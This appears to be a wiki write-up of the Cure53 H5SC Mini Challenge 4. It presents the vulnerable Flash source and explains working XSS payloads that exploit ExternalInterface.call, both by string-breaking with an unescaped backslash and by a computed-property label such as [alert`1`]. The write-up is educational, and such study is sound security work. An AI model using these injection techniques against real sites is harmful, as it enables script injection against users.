H5SC Mini Challenge 4
Pages 22
- Home
- Cure53 Easter Challenge '13
- Cure53 Singapore Training Challenge
- Cure53 X Mas Challenge '13
- ES6 Challenge
- H5SC Mini Challenge 4
- H5SC Mini Challenge 5
- H5SC Minichallenge 3: "Sh*t, it's CSP!"
- H5SC Minichallenge 3: "Sh*t, it's CSP!".
- JSON Hijacking Mini Challenge
- Mini Puzzle 1 on kcal.pw
- Mini Puzzle 2 on kcal.pw
- Older Challenges and Write Ups
- prompt.ml
- Puzzle 1 on kcal.pw
- Puzzle 2 on kcal.pw
- Puzzle 3 on kcal.pw
- S03 XSS Puzzle
- Shibuya.XSS JIZEN GAKUSHU Challenge
- Shibuya.XSS JIZEN GAKUSHU Challenge 2
- XSSMas Challenge 2014
- XSSMas Challenge 2015
- Show 7 more pages…
XSS Challenge Wiki
Prompt.ml
- Prompt.ml The prompt(1) Challenge
Kcal.pw Puzzles
Cure53 Challenges
H5SC Mini-Challenges
Other Challenges
Clone this wiki locally
H5SC Mini-Challenge 4
This challenge was public only for a few hours on 1st of April 2016. It involved Flash (because why not), ExternalInterface, one obvious - and another less obvious solution.
So, keep reading - it might be not that boring in the end.
Source Code
This is the source code of the challenge SWF:
{
import flash.display.Sprite;
import flash.external.ExternalInterface;
import flash.text.TextField;
public class Main extends Sprite
{
public function Main()
{
ExternalInterface.call('console.log', loaderInfo.parameters);
var text:TextField = new TextField();
text.height = 200;
text.width = 600;
text.text = "Can you XSS me? Execute an alert(1) and win fame and glory :)\r\nSend a mail to [email protected] once you did it.";
text.text += loaderInfo.parameters.text?loaderInfo.parameters.text:"";
addChild(text);
}
}
}The obvious solution
There is one solution, that is obvious and known - and it involves breaking the string that contains the value of one of the Flash variables. You can simply do the following to trigger the alert:
https://html5sec.org/minichallenges/4?text=\%22})));alert(1)}catch(e){}//
As many people found out via Flash de-compilation (JPEXS is a great tool for that), there is a Flash variable (flashVar) in use and its name is text. So why not go with that. Flash, as we know, forgets to escape the escaper, we break the string, payload arrives in the try-catch block that ExternalInterface generates and boom. The classic way.
But we can also do this:
https://html5sec.org/minichallenges/4?x=\%22})));alert(1)}catch(e){}//
Huh? We don't need to use the "existing" flashVar, we can use whatever variable name we want. Strange? Can we go even further?
What if the SWF file we attack now starts to escape properly on its own? Maybe someone fixes the XSS for good - by replacing \ with \\ for example, as often seen in the wild?
And how can it be possible to score a valid solution with only ten characters? And not with like more than thirty as seen above?
The not so obvious solution
The bad code in place has obviously nothing to do with any misuse of the flashVar called text, but with this snippet:
ExternalInterface.call('console.log', loaderInfo.parameters);
^-- could be any object where we can control a *label*This code basically takes an object as the second argument for ExternalInterface.call, meaning, the first argument for the function that Flash attempts to invoke in the surrounding DOM. This is how it looks, without any attack in place - but just a simple string:
try { __flash__toXML(console.log(("all fine here"))) ; } catch (e) { "<undefined/>"; }`
^-- nothing is broken
The solutions seen above would have worked independently of the name of the Flash variable, just throwing it into the ExternalInterface.call method would have done the job. It's all the value, the name / label doesn't matter here. The attack breaks the string - new JavaScript code gets injected and done.
try { __flash__toXML(console.log(({text:"\\"})));alert(1)}catch(e){}//"}))}catch(e){}//:""}))) ; } catch (e) { "<undefined/>"; }
^---- Flash escapes the quote, but not the backslash.Now let's think about escaping again. What if we cannot break any strings?
Well, we don't really need a property-value-pair to get the job done! This is the shortest solution we received:
https://html5sec.org/minichallenges/4?[alert(1)]
Or even...
https://html5sec.org/minichallenges/4?[alert`1`]
This URL creates an object loaderInfo.parameters that looks like this:
loaderInfo
> parameters
> [alert`1`]
> undefined
Or this, to be more clear:
loaderInfo = {parameters: {[alert`1`]: undefined}}That means, in the resulting string that ExternalInterface.call generates, the following object is being used:
try { __flash__toXML(console.log(({[alert`1`]:undefined))}catch(e){}//:""}))) ; } catch (e) { "<undefined/>"; }
^------ no string breakageThis then means, if we can inject into a property name or label, we don't have to break any strings. Nor do we have to use any parenthesis.
We make dual use of ES6 (or ES2015 fwiw) and utilize "Computed Properties" and "Template Strings" and the quirky behavior of ActionScript and ExternalInterface, where labels aren't necessarily strings so no breakage is needed.
Depending on how the stars are aligned, this might score you an XSS bug that would otherwise be unexploitable :)
Solvers
- @xrekkusu 10 chars
- @tunnelshade_ 10 chars
- @petecorey 10 chars
- @quanyang 12 chars
- @smiegles 13 chars
- @pouyadarabi 13 chars
- @avlidienbrunn 14 chars
- @fransrosen 27 chars
- @mriccia 27 chars
- @hykatza 26 chars
- @llamakko_cafe 26 chars
- @fab_tc 31 chars
- @en4rab 32 chars
- M. B. Rad 33 chars
- @simps0n 34 chars